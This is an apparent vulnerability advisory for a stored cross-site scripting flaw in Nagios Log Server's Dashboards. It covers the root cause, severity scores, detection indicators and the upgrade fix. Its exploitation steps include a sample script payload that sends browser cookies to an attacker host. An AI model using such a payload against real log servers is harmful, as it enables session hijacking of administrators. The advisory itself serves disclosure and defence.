CVE-2016-15049: 
Nagios Log Server vulnerability analysis and mitigation

CVE-2016-15049 is a stored Cross-Site Scripting (XSS) vulnerability in Nagios Log Server affecting all versions prior to 1.4.2. The flaw exists in the Dashboards section where log entries rendered in the Logs table are not properly HTML-encoded, allowing attacker-controlled log content to execute arbitrary JavaScript in a victim's browser within the application origin. The CVE was published on October 30, 2025, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Red Hat CVE, VulnCheck Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where untrusted log data ingested by Nagios Log Server is reflected back into the Dashboards UI without proper output encoding. An attacker with the ability to inject malicious content into monitored log sources (e.g., crafting log entries containing <script> tags or event handler payloads) can cause that content to execute in the browser of any authenticated user who views the affected Logs table. Exploitation requires low privileges (the attacker must be able to influence log content) and user interaction (a victim must view the dashboard). The attack vector is network-based with low complexity (VulnCheck Advisory, Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated Nagios Log Server user's browser session, potentially enabling session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality and integrity are both assessed as low impact, and availability is not affected (VulnCheck Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2016-15049. The EPSS score is approximately 0.376%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Red Hat CVE, VulnCheck Advisory).

1. Identify target: Confirm the target is running Nagios Log Server prior to version 1.4.2 with the Dashboards feature enabled and accessible to users.
2. Inject malicious log entry: Craft a log message containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) and cause it to be ingested by a log source monitored by the Nagios Log Server (e.g., via syslog, application log injection, or a monitored service).
3. Wait for victim interaction: Wait for an authenticated Nagios Log Server user (e.g., an administrator) to navigate to the Dashboards section and view the Logs table containing the malicious entry.
4. Script executes: The unencoded log entry renders as HTML in the victim's browser, executing the injected script within the Nagios Log Server application origin, potentially stealing session cookies or performing actions as the victim (VulnCheck Advisory).

• Logs: Nagios Log Server access logs showing unusual or encoded strings (e.g., <script>, %3Cscript%3E, onerror=, javascript:) appearing within log entry fields rendered in the Dashboards UI.
• Network: Outbound HTTP/S requests from a victim's browser to unexpected external domains shortly after viewing the Nagios Log Server Dashboards page, potentially carrying cookie or session data in query parameters.
• Application: Presence of log entries in monitored sources containing HTML or JavaScript tags that would not normally appear in legitimate log output.

Upgrade Nagios Log Server to version 1.4.2 or later, which addresses the XSS vulnerability by properly encoding log content before rendering it in the Dashboards Logs table. As a temporary workaround, restrict access to the Nagios Log Server Dashboards to trusted users only and limit which log sources can feed data into the server. Review and sanitize log pipelines to prevent injection of HTML/JavaScript content where possible (Nagios Changelog, VulnCheck Advisory).